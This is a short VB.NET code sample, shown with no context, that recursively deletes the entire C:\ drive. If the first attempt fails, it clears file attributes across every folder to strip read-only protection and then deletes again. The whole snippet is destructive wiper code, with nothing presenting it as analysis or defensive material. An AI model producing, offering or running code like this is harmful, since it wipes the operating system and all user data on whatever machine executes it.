Sub mytotaldelete()
Dim mypath As String = "C:\"
Try
IO.Directory.Delete(mypath, True)
Catch ex As IO.IOException
setattributes(New IO.DirectoryInfo(mypath))
IO.Directory.Delete(mypath, True)
End Try
End Sub
Sub setattributes(ByVal path As IO.DirectoryInfo)
For Each d As IO.DirectoryInfo In path.GetDirectories
setattributes(d)
Next
For Each f As IO.FileInfo In path.GetFiles
f.Attributes = IO.FileAttributes.Archive
Next
End Sub